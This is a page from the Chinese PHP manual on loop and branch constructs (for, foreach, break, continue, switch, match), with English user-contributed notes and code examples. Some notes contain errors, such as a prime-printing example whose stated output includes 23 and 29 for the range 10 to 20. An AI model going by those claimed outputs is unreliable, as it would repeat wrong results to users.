Count: 9 - Position: 0
Count: 9 - Position: 1
Count: 9 - Position: 2
Count: 8 - Position: 3
Count: 8 - Position: 4
Count: 8 - Position: 5
Count: 8 - Position: 6
Count: 8 - Position: 7

Tot After: 8

---

The position 8 is skipped, because the "expr2" {{ $i<count($array) }} is evaluated again, for each cycle.

The solution is:

<?php

    $array = array(
        'pop0',
        'pop1',
        'pop2',
        'pop3',
        'pop4',
        'pop5',
        'pop6',
        'pop7',
        'pop8'
    );
    echo "Tot Before: ".count($array)."<br><br>";
    $count = count($array);
    for ($i=0; $i<$count; $i++) {
        if ($i === 3) {
            unset($array[$i]);
        }
        echo "Count: ".count($array). " - Position: ".$i."<br>";
    }
    echo "<br> Tot After: ".count($array)."<br>";

?>
Warbo 06-Feb-2014 05:37
Remember that for-loops don't always need to go 'forwards'. For example, let's say I have the following code:

<?php
for ($i = 0; $i < calculateLoopLength(); $i++) {
  doSomethingWith($i);
}
>?

As other comments have pointed out, if "calculateLoopLength" will keep giving back the same value, it can be moved outside the loop:

<?php
$loopLength = calculateLoopLength();
for ($i=0; $i < $loopLength; $i++) {
  doSomethingWith($i);
}
?>

However, if the order the looping doesn't matter (ie. each iteration is independent) then we don't need to use an extra variable either, we can just count down (ie. loop 'backwards') instead:

<?php
for ($i=calculateLoopLength(); $i > 0; $i--) {
  doSomething($i);
}
?>

In fact, we can simplify this even more, since "$i > 0" is equivalent to "$i" (due to type casting):

<?php
for ($i=calculateLoopLength(); $i; $i--) {
  doSomething($i);
}
?>

Finally, we can switch to a 'pre-decrement' instead of a 'post-decrement' to be slightly more efficient (see, for example, http://dfox.me/2011/04/php-most-common-mistakes-part-2-using-post-increment-instead-of-pre-increment/ ):

<?php
for ($i = calculateLoopLength(); $i; --$i) {
  doSomething($i);
}
?>

In this case we could also replace the entire loop with a map, which might make your algorithm clearer (although this won't work if calculateLoopLength() == 0):

<?php
array_map('doSomething',
          range(0, calculateLoopLength() - 1));
?>
Andrew 15-Jan-2014 11:07
You can use strtotime with for loops to loop through dates

<?php
for ($date = strtotime("2014-01-01"); $date < strtotime("2014-02-01"); $date = strtotime("+1 day", $date)) {
    echo date("Y-m-d", $date)."<br />";
}
?>
Philipp Trommler 08-Nov-2012 04:34
Note, that, because the first line is executed everytime, it is not only slow to put a function there, it can also lead to problems like:

<?php

$array = array(0 => "a", 1 => "b", 2 => "c", 3 => "d");

for($i = 0; $i < count($array); $i++){

echo $array[$i];

unset($array[$i]);

}

?>

This will only output the half of the elements, because the array is becoming shorter everytime the for-expression counts it.
matthiaz 08-Feb-2012 02:37
Looping through letters is possible. I'm amazed at how few people know that.

for($col = 'R'; $col != 'AD'; $col++) {
    echo $col.' ';
}

returns: R S T U V W X Y Z AA AB AC

Take note that you can't use $col < 'AD'. It only works with !=
Very convenient when working with excel columns.
JustinB at harvest dot org 04-Aug-2005 04:23
For those who are having issues with needing to evaluate multiple items in expression two, please note that it cannot be chained like expressions one and three can.  Although many have stated this fact, most have not stated that there is still a way to do this:

<?php
for($i = 0, $x = $nums['x_val'], $n = 15; ($i < 23 && $number != 24); $i++, $x + 5;) {
    // Do Something with All Those Fun Numbers
}
?>
user at host dot com 19-Apr-2004 03:53
Also acceptable:

<?php
  for($letter = ord('a'); $letter <= ord('z'); $letter++)
   print chr($letter);
?>
bishop 17-Jul-2003 01:23
If you're already using the fastest algorithms you can find (on the order of O(1), O(n), or O(n log n)), and you're still worried about loop speed, unroll your loops using e.g., Duff's Device:

<?php
$n = $ITERATIONS % 8;
while ($n--) $val++;
$n = (int)($ITERATIONS / 8);
while ($n--) {
    $val++;
    $val++;
    $val++;
    $val++;
    $val++;
    $val++;
    $val++;
    $val++;
}
?>

(This is a modified form of Duff's original device, because PHP doesn't understand the original's egregious syntax.)

That's algorithmically equivalent to the common form:

<?php
for ($i = 0; $i < $ITERATIONS; $i++) {
    $val++;
}
?>

$val++ can be whatever operation you need to perform ITERATIONS number of times.

On my box, with no users, average run time across 100 samples with ITERATIONS = 10000000 (10 million) is:
Duff version:       7.9857 s
Obvious version: 27.608 s
nzamani at cyberworldz dot de 17-Jun-2001 11:47
The point about the speed in loops is, that the middle and the last expression are executed EVERY time it loops.
So you should try to take everything that doesn't change out of the loop.
Often you use a function to check the maximum of times it should loop. Like here:

<?php
for ($i = 0; $i <= somewhat_calcMax(); $i++) {
  somewhat_doSomethingWith($i);
}
?>

Faster would be:

<?php
$maxI = somewhat_calcMax();
for ($i = 0; $i <= $maxI; $i++) {
  somewhat_doSomethingWith($i);
}
?>

And here a little trick:

<?php
$maxI = somewhat_calcMax();
for ($i = 0; $i <= $maxI; somewhat_doSomethingWith($i++)) ;
?>

The $i gets changed after the copy for the function (post-increment).


foreach

(PHP 4, PHP 5, PHP 7, PHP 8)

foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象，如果尝试应用于其他数据类型的变量，或者未初始化的变量将发出错误信息。有两种语法：

foreach (iterable_expression as $value)
    statement
foreach (iterable_expression as $key => $value)
    statement

第一种格式遍历给定的 iterable_expression 迭代器。每次循环中，当前单元的值被赋给 $value。

第二种格式做同样的事，只除了当前单元的键名也会在每次循环中被赋给变量 $key。

注意 foreach 不会修改类似 current() 和 key() 函数所使用的数组内部指针。

还能够自定义遍历对象。

可以很容易地通过在 $value 之前加上 & 来修改数组的元素。此方法将以引用赋值而不是拷贝一个值。

<?php
$arr = array(1, 2, 3, 4);
foreach ($arr as &$value) {
$value = $value * 2;
}
// 现在 $arr 是 array(2, 4, 6, 8)
unset($value); // 最后取消掉引用
?>

Warning

数组最后一个元素的 $value 引用在 foreach 循环之后仍会保留。建议使用 unset() 来将其销毁。 否则你会遇到下面的情况：

<?php
$arr = array(1, 2, 3, 4);
foreach ($arr as &$value) {
$value = $value * 2;
}
// 现在 $arr 是 array(2, 4, 6, 8)

// 未使用 unset($value) 时，$value 仍然引用到最后一项 $arr[3]

foreach ($arr as $key => $value) {
// $arr[3] 会被 $arr 的每一项值更新掉...
echo "{$key} => {$value} ";
print_r($arr);
}
// 直到最终倒数第二个值被复制到最后一个值

// output:
// 0 => 2 Array ( [0] => 2, [1] => 4, [2] => 6, [3] => 2 )
// 1 => 4 Array ( [0] => 2, [1] => 4, [2] => 6, [3] => 4 )
// 2 => 6 Array ( [0] => 2, [1] => 4, [2] => 6, [3] => 6 )
// 3 => 6 Array ( [0] => 2, [1] => 4, [2] => 6, [3] => 6 )
?>

可以通过引用来遍历数组常量的值：

<?php
foreach (array(1, 2, 3, 4) as &$value) {
$value = $value * 2;
}
?>

Note:

foreach 不支持用 "@" 来抑制错误信息的能力。

示范用法的更多例子：

<?php
/* foreach 示例 1：仅 value */

$a = array(1, 2, 3, 17);

foreach ($a as $v) {
echo "Current value of \$a: $v.\n";
}

/* foreach 示例 2：value （打印手动访问的符号以供说明） */

$a = array(1, 2, 3, 17);

$i = 0; /* 仅供说明 */

foreach ($a as $v) {
echo "\$a[$i] => $v.\n";
$i++;
}

/* foreach 示例 3：key 和 value */

$a = array(
"one" => 1,
"two" => 2,
"three" => 3,
"seventeen" => 17
);

foreach ($a as $k => $v) {
echo "\$a[$k] => $v.\n";
}

/* foreach 示例 4：多维数组 */
$a = array();
$a[0][0] = "a";
$a[0][1] = "b";
$a[1][0] = "y";
$a[1][1] = "z";

foreach ($a as $v1) {
foreach ($v1 as $v2) {
echo "$v2\n";
}
}

/* foreach 示例 5：动态数组 */

foreach (array(1, 2, 3, 4, 5) as $v) {
echo "$v\n";
}
?>

用 list() 给嵌套的数组解包

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

可以遍历一个数组的数组并且把嵌套的数组解包到循环变量中，只需将 list() 作为值提供。

例如：

<?php
$array = [
[1, 2],
[3, 4],
];

foreach ($array as list($a, $b)) {
// $a 包含嵌套数组的第一个元素，
// $b 包含嵌套数组的第二个元素。
echo "A: $a; B: $b\n";
}
?>

以上示例会输出：

A: 1; B: 2
A: 3; B: 4

list() 中的单元可以少于嵌套数组的，此时多出来的数组单元将被忽略：

<?php
$array = [
[1, 2],
[3, 4],
];

foreach ($array as list($a)) {
// 注意这里没有 $b。
echo "$a\n";
}
?>

以上示例会输出：

1
3

如果 list() 中列出的单元多于嵌套数组则会发出一条消息级别的错误信息：

<?php
$array = [
[1, 2],
[3, 4],
];

foreach ($array as list($a, $b, $c)) {
echo "A: $a; B: $b; C: $c\n";
}
?>

以上示例会输出：

Notice: Undefined offset: 2 in example.php on line 7
A: 1; B: 2; C:

Notice: Undefined offset: 2 in example.php on line 7
A: 3; B: 4; C:

User Contributed Notes

jon at pearkins dot com 06-Oct-2022 02:26
For an array, foreach presents the elements of the array in the order that they were added to the array. For example, if you need to have the elements presented in ascending order by key, use the ksort function to rearrange the elements of the array in key sequence.

This behavior is a result of the way that PHP arrays are stored. foreach merely presents the elements of an array in the order that they are stored within the array.
Okafor Chiagozie 27-Sep-2022 02:25
An easier way to unpack nested array elements

$array = [
    [1, 2],
    [3, 4],
];

foreach ($array as [$a, $b]) {
    echo "A: $a; B: $b\n";
}
Sanusi Hassan 23-Sep-2022 04:13
destructure array elements

you can unpac nested array elements using the following

<?php
$array = [
    [1, 2],
    [3, 4],
];

foreach ($array as $v) {
    [$a, $b] = $v;
    echo "A: $a; B: $b\n";
}
?>


break

(PHP 4, PHP 5, PHP 7, PHP 8)

break 结束执行当前的 for、foreach、while、do-while、switch 结构。

break 接受一个数字的可选参数，决定跳出几重循环。 默认值是 1，仅仅跳出最近一层嵌套结构。

<?php
$arr = array('one', 'two', 'three', 'four', 'stop', 'five');
foreach ($arr as $val) {
if ($val == 'stop') {
break; /* 也可以在这里写 'break 1;'。 */
}
echo "$val<br />\n";
}

/* 使用可选参数 */

$i = 0;
while (++$i) {
switch ($i) {
case 5:
echo "At 5<br />\n";
break 1; /* 只退出 switch. */
case 10:
echo "At 10; quitting<br />\n";
break 2; /* 退出 switch 和 while 循环 */
default:
break;
}
}
?>

User Contributed Notes

ei dot dwaps at gmail dot com 07-Nov-2020 06:48
You can also use break with parentheses: break(1);

Note:
Using more nesting level leads to fatal error:

<?php
 while (true) {
    foreach ([1, 2, 3] as $value) {
      echo 'ok<br>';
      break 3; // Fatal error: Cannot 'break' 3 levels
    }
    echo 'jamais exécuter';
    break;
  }
?>


continue

(PHP 4, PHP 5, PHP 7, PHP 8)

continue 在循环结构用用来跳过本次循环中剩余的代码并在条件求值为真时开始执行下一次循环。

Note: 在 PHP 中 switch 语句被认为是可以使用 continue 的一种循环结构。 continue 的行为类似于没有传递参数的 break ，但会引发警告，因为这可能是一个错误。 如果 switch 在循环内， continue 2 将会外部循环中的下一个迭代中继续。

continue 接受一个可选的数字参数来决定跳过几重循环到循环结尾。默认值是 1，即跳到当前循环末尾。

<?php
$arr = ['zero', 'one', 'two', 'three', 'four', 'five', 'six'];
foreach ($arr as $key => $value) {
if (0 === ($key % 2)) { // 跳过偶数键的成员
continue;
}
echo $value . "\n";
}
?>

以上示例会输出：

one
three
five
<?php
$i = 0;
while ($i++ < 5) {
echo "Outer\n";
while (1) {
echo "Middle\n";
while (1) {
echo "Inner\n";
continue 3;
}
echo "This never gets output.\n";
}
echo "Neither does this.\n";
}
?>

以上示例会输出：

Outer
Middle
Inner
Outer
Middle
Inner
Outer
Middle
Inner
Outer
Middle
Inner
Outer
Middle
Inner

省略 continue 后面的分号会导致混淆。以下例子示意了不应该这样做。

<?php
for ($i = 0; $i < 5; ++$i) {
if ($i == 2)
continue
print "$i\n";
}
?>

希望得到的结果是：

0
1
3
4

continue 的更新记录
版本 | 说明
7.3.0 | 在 switch 中 continue 语句试图代替 break 语句将会触发 E_WARNING 。

User Contributed Notes

clau r jimenez 07-Apr-2021 03:13
I've been playing around to see what it does in practice. This is what helped me understand what it does and its difference with using break.

<?php
$i = 0;
while ($i++ < 5) {
    while ($i % 2 === 0) {
        echo "$i is even. \n";
        ####
    }
    echo "$i is odd. \n";
}
?>

Where ####:
 - break: outputs both '$i is even' and '$i is odd' for even numbers.
 - continue: infinite loop as soon as it evaluates true for the first even number.
 - break 2: as soon as it runs, it exits from both loops.
 - continue 2: outputs numbers correctly.

What I understand from this is that break will exit current looping structure and will keep running outer loop code. Continue will make loop get back to evaluation, and will iterate over itself until it evaluates to false. Break 2 will exit 2 levels, which in this case will stop the iteration altogether. Continue 2 will evaluate not the current loop (level 1 so to speak), but the outer loop in this case.
mparsa1372 at gmail dot com 12-Mar-2021 03:32
The continue statement breaks one iteration (in the loop), if a specified condition occurs, and continues with the next iteration in the loop.

This example skips the value of 4:

<?php
for ($x = 0; $x < 10; $x++) {
  if ($x == 4) {
    continue;
  }
  echo "The number is: $x <br>";
}
?>
send at mail dot 2aj dot net 06-Feb-2018 05:42
As of PHP 7.0, instead of code executing up until encountering a continue (or break) call outside of a loop statement, the code will simply not execute.

If you need to correct such error cases as part of an upgrade, you may need to substitute either an exit or return to maintain the existing behavior of such legacy code.

<?php

class ok {

    function foo() {
        echo "start\n";

        for ($i = 0; $i < 5; $i++) {
            echo "before\n";
            $this->bar($i);
            echo "after\n";
        }

        echo "finish\n";
    }

    function bar($i) {
        echo "inside iteration $i\n";

        if ($i == 3) {
            echo "continuing\n";
            continue;
        }

        echo "inside after $i\n";
    }
}

$ex = new ok();

$ex->foo();

?>

sh> php56 continue.php
start
before
inside iteration 0
inside after 0
after
before
inside iteration 1
inside after 1
after
before
inside iteration 2
inside after 2
after
before
inside iteration 3
continuing
PHP Fatal error:  Cannot break/continue 1 level in continue.php on line 22
PHP Stack trace:
PHP   1. {main}() continue.php:0
PHP   2. ok->foo() continue.php:31
PHP   3. ok->bar() continue.php:10

sh> php70 continue.php
PHP Fatal error:  'continue' not in the 'loop' or 'switch' context in continue.php on line 22

Fatal error: 'continue' not in the 'loop' or 'switch' context in continue.php on line 22
John 13-Mar-2014 02:49
<?php

echo"\n";
echo"\n";

    for ( $i = 0; $i < 5; $i++ ) {

        switch ($i)
        {

            case 0:
                echo $i . "b";
                continue;
                echo $i . "a";
            case 1:
                echo $i . "b";
                continue 2;
                echo $i . "a";
            case 2:
                echo $i . "b";
                break;
                echo $i . "a";
            case 3:
                echo $i . "b";
                break 2;
                echo $i . "a";
            case 4:
                echo $i;

        }

        echo 9;

    }

echo"\n";
echo"\n";

?>

This results in: 0b91b2b93b

It goes to show that in a switch statement break and continue are the same. But in loops break stops the loop completely and continue just stops executing the current iterations code and moves onto the next loop iteration.
Koen 21-Dec-2012 12:26
If you use a incrementing value in your loop, be sure to increment it before calling continue; or you might get an infinite loop.
maik penz 04-Jun-2012 09:12
Please note that with PHP 5.4 continue 0; will fail with

PHP Fatal error:  'continue' operator accepts only positive numbers

(same is true for break).
Anonymous 25-Jul-2011 09:22
<?php
function print_primes_between($x,$y)
{
    for($i=$x;$i<=$y;$i++)
   {
        for($j= 2; $j < $i; $j++)  if($i%$j==0) continue 2;
        echo $i.",";
   }
}
?>

This function, using continue syntax, is to print prime numbers between given numbers, x and y.
For example, print_primes_between(10,20) will output:

11,13,17,19,23,29,
skippychalmers at gmail dot com 17-May-2011 05:56
To state the obvious, it should be noted, that the optional param defaults to 1 (effectively).
rjsteinert.com 26-Feb-2011 09:22
The most basic example that print "13", skipping over 2.

<?php
$arr = array(1, 2, 3);
foreach($arr as $number) {
  if($number == 2) {
    continue;
  }
  print $number;
}
?>
jaimthorn at yahoo dot com 24-Mar-2010 06:36
The remark "in PHP the switch statement is considered a looping structure for the purposes of continue" near the top of this page threw me off, so I experimented a little using the following code to figure out what the exact semantics of continue inside a switch is:

<?php

    for( $i = 0; $i < 3; ++ $i )
    {
        echo ' [', $i, '] ';
        switch( $i )
        {
            case 0: echo 'zero'; break;
            case 1: echo 'one' ; XXXX;
            case 2: echo 'two' ; break;
        }
        echo ' <' , $i, '> ';
    }

?>

For XXXX I filled in

- continue 1
- continue 2
- break 1
- break 2

and observed the different results.  This made me come up with the following one-liner that describes the difference between break and continue:

continue resumes execution just before the closing curly bracket ( } ), and break resumes execution just after the closing curly bracket.

Corollary: since a switch is not (really) a looping structure, resuming execution just before a switch's closing curly bracket has the same effect as using a break statement.  In the case of (for, while, do-while) loops, resuming execution just prior their closing curly brackets means that a new iteration is started --which is of course very unlike the behavior of a break statement.

In the one-liner above I ignored the existence of parameters to break/continue, but the one-liner is also valid when parameters are supplied.
Nikolay Ermolenko 16-Apr-2009 05:58
Using continue and break:

<?php
$stack = array('first', 'second', 'third', 'fourth', 'fifth');

foreach($stack AS $v){
    if($v == 'second')continue;
    if($v == 'fourth')break;
    echo $v.'<br>';
}
/*

first
third

*/

$stack2 = array('one'=>'first', 'two'=>'second', 'three'=>'third', 'four'=>'fourth', 'five'=>'fifth');
foreach($stack2 AS $k=>$v){
    if($v == 'second')continue;
    if($k == 'three')continue;
    if($v == 'fifth')break;
    echo $k.' ::: '.$v.'<br>';
}
/*

one ::: first
four ::: fourth

*/

?>
Anonymous 11-Sep-2008 10:04
The continue keyword can skip division by zero:
<?php
$i = 100;
while ($i > -100)
{
    $i--;
    if ($i == 0)
    {
        continue;
    }
    echo (200 / $i) . "<br />";
}
?>
Geekman 27-Dec-2007 05:01
For clarification, here are some examples of continue used in a while/do-while loop, showing that it has no effect on the conditional evaluation element.

<?php
// Outputs "1 ".
$i = 0;
while ($i == 0) {
    $i++;
    echo "$i ";
    if ($i == 1) continue;
}

// Outputs "1 2 ".
$i = 0;
do {
    $i++;
    echo "$i ";
    if ($i == 2) continue;
} while ($i == 1);
?>

Both code snippets would behave exactly the same without continue.
tufan dot oezduman at gmail dot com 21-Dec-2006 04:28
a possible explanation for the behavior of continue in included scripts mentioned by greg and dedlfix above may be the following line of the "return" documentation: "If the current script file was include()ed or require()ed, then control is passed back to the calling file."
The example of greg produces an error since page2.php does not contain any loop-operations.

So the only way to give the control back to the loop-operation  in page1.php would be a return.
szrrya at yahoo dot com 17-Jul-2006 02:18
Documentation states:

"continue is used within looping structures to skip the rest of the current loop iteration"

Current functionality treats switch structures as looping in regards to continue.  It has the same effect as break.

The following code is an example:

<?php
for ($i1 = 0; $i1 < 2; $i1++) {
  // Loop 1.
  for ($i2 = 0; $i2 < 2; $i2++) {
    // Loop 2.
    switch ($i2 % 2) {
      case 0:
        continue;
        break;
    }
    print '[' . $i2 . ']<br>';
  }
  print $i1 . '<br>';
}
?>

This outputs the following:
[0]
[1]
0
[0]
[1]
1

Switch is documented as a block of if...elseif... statements, so you might expect the following output:
[1]
0
[1]
1

This output requires you to either change the switch to an if or use the numerical argument and treat the switch as one loop.
Rene 18-Feb-2006 12:24
(only) the reason that is given on the "Continue with missing semikolon" example is wrong.

the script will output "2" because the missing semikolon causes that the "print"-call is executed only if the "if" statement is true. It has nothing to to with "what" the "print"-call would return or not return, but the returning value can cause to skip to the end of higher level Loops if any call is used that will return a bigger number than 1.

<?php
continue print "$i\n";
?>

because of the optional argument, the script will not run into a "unexpected T_PRINT" error. It will not run into an error, too, if the call after continue does return anything but a number.

i suggest to change it from:
because the return value of the print() call is int(1), and it will look like the optional numeric argument mentioned above.

to
because the print() call will look like the optional numeric argument mentioned above.
net_navard at yahoo dot com 25-Dec-2005 09:01
Hello firends

It is said in manually:
continue also accepts an optional numeric argument which tells it how many levels of enclosing loops it should .

In order to understand better this,An example for that:
<?php

/*continue also accepts an optional numeric argument which
    tells it how many levels of enclosing loops it should skip.*/

for($k=0;$k<2;$k++)
{//First loop

    for($j=0;$j<2;$j++)
    {//Second loop

      for($i=0;$i<4;$i++)
      {//Third loop
    if($i>2)
    continue 2;// If $i >2 ,Then it skips to the Second loop(level 2),And starts the next step,
    echo "$i\n";
       }

    }

}

?>

Merry's christmas :)

With regards,Hossein
dedlfix gives me a hint 28-Jan-2005 06:47
a possible solution for
greg AT laundrymat.tv

I've got the same problem as Greg
and now it works very fine by using
return() instead of continue.

It seems, that you have to use return()
if you have a file included and
you want to continue with the next loop
greg AT laundrymat.tv 14-Jan-2005 08:58
You using continue in a file included in a loop will produce an error.  For example:

//page1.php
for($x=0;$x<10;$x++)
   {
    include('page2.php');
}

//page2.php

if($x==5)
    continue;
else
   print $x;

it should print

"012346789" no five, but it produces an error:

Cannot break/continue 1 level in etc.
www.derosetechnologies.com 10-May-2004 08:58
In the same way that one can append a number to the end of a break statement to indicate the "loop" level upon which one wishes to 'break' , one can append a number to the end of a 'continue' statement to acheive the same goal. Here's a quick example:

<?
    for ($i = 0;$i<3;$i++) {
        echo "Start Of I loop\n";
        for ($j=0;;$j++) {

            if ($j >= 2) continue 2; // This "continue" applies to the "$i" loop
            echo "I : $i J : $j"."\n";
        }
        echo "End\n";
    }
?>

The output here is:
Start Of I loop
I : 0 J : 0
I : 0 J : 1
Start Of I loop
I : 1 J : 0
I : 1 J : 1
Start Of I loop
I : 2 J : 0
I : 2 J : 1

For more information, see the php manual's entry for the 'break' statement.


switch

(PHP 4, PHP 5, PHP 7, PHP 8)

switch 语句类似于具有同一个表达式的一系列 if 语句。很多场合下需要把同一个变量（或表达式）与很多不同的值比较，并根据它等于哪个值来执行不同的代码。这正是 switch 语句的用途。

Note: 注意和其它语言不同，continue 语句作用到 switch 上的作用类似于 break。如果在循环中有一个 switch 并希望 continue 到外层循环中的下一轮循环，用 continue 2。

Note:

注意 switch/case 作的是松散比较。

下面的例子使用不同方法实现同样的事。一个用一系列的 if 和 elseif 语句，另一个用 switch 语句。例子不同，但输出相同：

Example #1 switch 结构

// 这是 switch 语句

switch ($i) {
case 0:
echo "i equals 0";
break;
case 1:
echo "i equals 1";
break;
case 2:
echo "i equals 2";
break;
}

// 相当于：

if ($i == 0) {
echo "i equals 0";
} elseif ($i == 1) {
echo "i equals 1";
} elseif ($i == 2) {
echo "i equals 2";
?>

为避免错误，理解 switch 是怎样执行的非常重要。switch 语句一行接一行地执行（实际上是语句接语句）。开始时没有代码被执行。仅当一个 case 语句中的值和 switch 表达式的值匹配时 PHP 才开始执行语句，直到 switch 的程序段结束或者遇到第一个 break 语句为止。如果不在 case 的语句段最后写上 break 的话，PHP 将继续执行下一个 case 中的语句段。例如：

<?php
switch ($i) {
case 0:
echo "i equals 0";
case 1:
echo "i equals 1";
case 2:
echo "i equals 2";
}
?>

这里如果 $i 等于 0，PHP 将执行所有的 echo 语句！如果 $i 等于 1，PHP 将执行后面两条 echo 语句。只有当 $i 等于 2 时，才会得到"预期"的结果——只显示"i equals 2"。所以，别忘了 break 语句就很重要（即使在某些情况下故意想避免提供它们时）。

在 switch 语句中条件只求值一次并用来和每个 case 语句比较。在 elseif 语句中条件会再次求值。如果条件比一个简单的比较要复杂得多或者在一个很多次的循环中，那么用 switch 语句可能会快一些。

在一个 case 中的语句也可以为空，这样只不过将控制转移到了下一个 case 中的语句。

<?php
switch ($i) {
case 0:
case 1:
case 2:
echo "i is less than 3 but not negative";
break;
case 3:
echo "i is 3";
}
?>

一个 case 的特例是 default。它匹配了任何和其它 case 都不匹配的情况。例如：

<?php
switch ($i) {
case 0:
echo "i equals 0";
break;
case 1:
echo "i equals 1";
break;
case 2:
echo "i equals 2";
break;
default:
echo "i is not equal to 0, 1 or 2";
}
?>

Note: 如果有多个 default 将导致 E_COMPILE_ERROR 错误。

Note: 从技术上讲，default case 可以按照任何顺序列出。只有在没有匹配到其它的 case 时才会使用它。但是最好按照惯例，将其作为最后一个分支放在最后。

如果没有匹配到 case 分支且没有 default 分支，则不会执行任何代码，就像 if 不为 true 一样。

case 的值可以使用表达式。然而，该表达式将会自我求值，然后与 switch 的值进行松散比较。这意味着它不适合用于复杂的 switch 值求值。例如：

<?php
$target = 1;
$start = 3;

switch ($target) {
case $start - 1:
print "A";
break;
case $start - 2:
print "B";
break;
case $start - 3:
print "C";
break;
case $start - 4:
print "D";
break;
}

// 输出"B"
?>

对于更复杂的比较，值 true 可用于 switch 的值。或使用 if-else 代替 switch。

<?php
$offset = 1;
$start = 3;

switch (true) {
case $start - $offset === 1:
print "A";
break;
case $start - $offset === 2:
print "B";
break;
case $start - $offset === 3:
print "C";
break;
case $start - $offset === 4:
print "D";
break;
}

// 输出"B"
?>

switch 支持替代语法的流程控制。更多信息见流程控制的替代语法一节。

<?php
switch ($i):
case 0:
echo "i equals 0";
break;
case 1:
echo "i equals 1";
break;
case 2:
echo "i equals 2";
break;
default:
echo "i is not equal to 0, 1 or 2";
endswitch;
?>

允许使用分号代替 case 语句后的冒号，例如：

<?php
switch($beer)
{
case 'tuborg';
case 'carlsberg';
case 'stella';
case 'heineken';
echo 'Good choice';
break;
default;
echo 'Please make a new selection...';
break;
}
?>

参见

  • match

User Contributed Notes

GeorgNation 16-Oct-2023 12:16
You can wrap up the case/break block with a curly braces:

$x = 2;

switch ($x)
{
    case 2: {
        echo '2 entrypoint';
        break;
    }

    default: {
        echo 'default entrypoint';
        break;
    }
}
David Spector 19-Jun-2023 05:14
Note that break can be followed by an optional integer, indicating how many additional break contexts to leave when leaving this switch context. Break contexts are switches and loops. "Leaving" means to continue execution following a break context.

Note that the datatype used for all case constants in a switch is determined by the first occurrence of a case, so all cases must use the same datatype, integer or string. So,  if the first case is `case 0:` and the second is `case 'abc':` , then the `'abc'` is internally converted to the integer 0. You may find this unexpected. This example would be fixed by changing the first case to `case '':`.
j dot kane dot third at gmail dot com 22-Nov-2022 07:46
The default case appears to always be evaluated last. If break is excluded from the default case, then the proceeding cases will be reevaluated. This behavior appears to be undocumented.

<?php

$kinds = ['moo', 'kind1', 'kind2'];

foreach ($kinds as $kind) {
    switch($kind)
    {
        default:
            // The kind wasn't valid, set it to the default
            $kind = 'kind1';
            var_dump('default');

        case 'kind1':
            var_dump('1');
            break;

        case 'kind2':
            var_dump('2');
            break;

        case 'kindn':
            var_dump('n-th');
            break;
    }

    echo "\n\n";
}

?>
me at czarpino dot com 01-Nov-2022 04:53
Although noted elsewhere, still worth noting is how loose comparison in switch-case was also affected by the change in string to number comparison. Prior PHP8, strings were converted to int before comparison. The reverse is now true which can cause issues for logic that relied on this behavior.

<?php
function testSwitch($key) {
    switch ($key) {
        case 'non numeric string':
            echo $key . ' matches "non numeric string"';
            break;
    }
}

testSwitch(0);    // pre-PHP8, returns '0 matches "non numeric string"'
?>
septerrianin at mail dot ru 15-Aug-2018 09:15
php 7.2.8.
The answer to the eternal question " what is faster?":
1 000 000 000 iterations.

<?php
$s = time();
for ($i = 0; $i < 1000000000; ++$i) {
  $x = $i%10;
  if ($x == 1) {
    $y = $x * 1;
  } elseif ($x == 2) {
    $y = $x * 2;
  } elseif ($x == 3) {
    $y = $x * 3;
  } elseif ($x == 4) {
    $y = $x * 4;
  } elseif ($x == 5) {
    $y = $x * 5;
  } elseif ($x == 6) {
    $y = $x * 6;
  } elseif ($x == 7) {
    $y = $x * 7;
  } elseif ($x == 8) {
    $y = $x * 8;
  } elseif ($x == 9) {
    $y = $x * 9;
  } else {
    $y = $x * 10;
  }
}
print("if: ".(time() - $s)."sec\n");

$s = time();
for ($i = 0; $i < 1000000000; ++$i) {
  $x = $i%10;
  switch ($x) {
  case 1:
    $y = $x * 1;
    break;
  case 2:
    $y = $x * 2;
    break;
  case 3:
    $y = $x * 3;
    break;
  case 4:
    $y = $x * 4;
    break;
  case 5:
    $y = $x * 5;
    break;
  case 6:
    $y = $x * 6;
    break;
  case 7:
    $y = $x * 7;
    break;
  case 8:
    $y = $x * 8;
    break;
  case 9:
    $y = $x * 9;
    break;
  default:
    $y = $x * 10;
  }
}
print("switch: ".(time() - $s)."sec\n");
?>

Results:
if: 69sec
switch: 42sec
MaxTheDragon at home dot nl 14-Jun-2012 02:29
This is listed in the documentation above, but it's a bit tucked away between the paragraphs. The difference between a series of if statements and the switch statement is that the expression you're comparing with, is evaluated only once in a switch statement. I think this fact needs a little bit more attention, so here's an example:

<?php
$a = 0;

if(++$a == 3) echo 3;
elseif(++$a == 2) echo 2;
elseif(++$a == 1) echo 1;
else echo "No match!";

// Outputs: 2

$a = 0;

switch(++$a) {
    case 3: echo 3; break;
    case 2: echo 2; break;
    case 1: echo 1; break;
    default: echo "No match!"; break;
}

// Outputs: 1
?>

It is therefore perfectly safe to do:

<?php
switch(winNobelPrizeStartingFromBirth()) {
case "peace": echo "You won the Nobel Peace Prize!"; break;
case "physics": echo "You won the Nobel Prize in Physics!"; break;
case "chemistry": echo "You won the Nobel Prize in Chemistry!"; break;
case "medicine": echo "You won the Nobel Prize in Medicine!"; break;
case "literature": echo "You won the Nobel Prize in Literature!"; break;
default: echo "You bought a rusty iron medal from a shady guy who insists it's a Nobel Prize..."; break;
}
?>

without having to worry about the function being re-evaluated for every case. There's no need to preemptively save the result in a variable either.
nospam at please dot com 14-Nov-2000 05:18
Just a trick I have picked up:

If you need to evaluate several variables to find the first one with an actual value, TRUE for instance. You can do it this was.

There is probably a better way but it has worked out well for me.

switch (true) {

  case (X != 1):

  case (Y != 1):

  default:
}


match

(PHP 8)

match 表达式基于值的一致性进行分支计算。 match表达式和 switch 语句类似， 都有一个表达式主体，可以和多个可选项进行比较。 与 switch 不同点是，它会像三元表达式一样求值。 与 switch 另一个不同点，它的比较是严格比较（ ===）而不是松散比较（==）。 Match 表达式从 PHP 8.0.0 起可用。

Example #1 match 表达式结构

<?php
$return_value = match (subject_expression) {
single_conditional_expression => return_expression,
conditional_expression1, conditional_expression2 => return_expression,
};
?>

Example #2 match 的基础用法

<?php
$food = 'cake';

$return_value = match ($food) {
'apple' => 'This food is an apple',
'bar' => 'This food is a bar',
'cake' => 'This food is a cake',
};

var_dump($return_value);
?>

以上示例会输出：

string(19) "This food is a cake"

Note: 不一定要使用 match 表达式的结果。

Note: match 表达式必须使用分号 ; 结尾。

match 表达式跟 switch 语句相似，但是有以下关键区别：

  • match 比较分支值，使用了严格比较 (===)， 而 switch 语句使用了松散比较。
  • match 表达式会返回一个值。
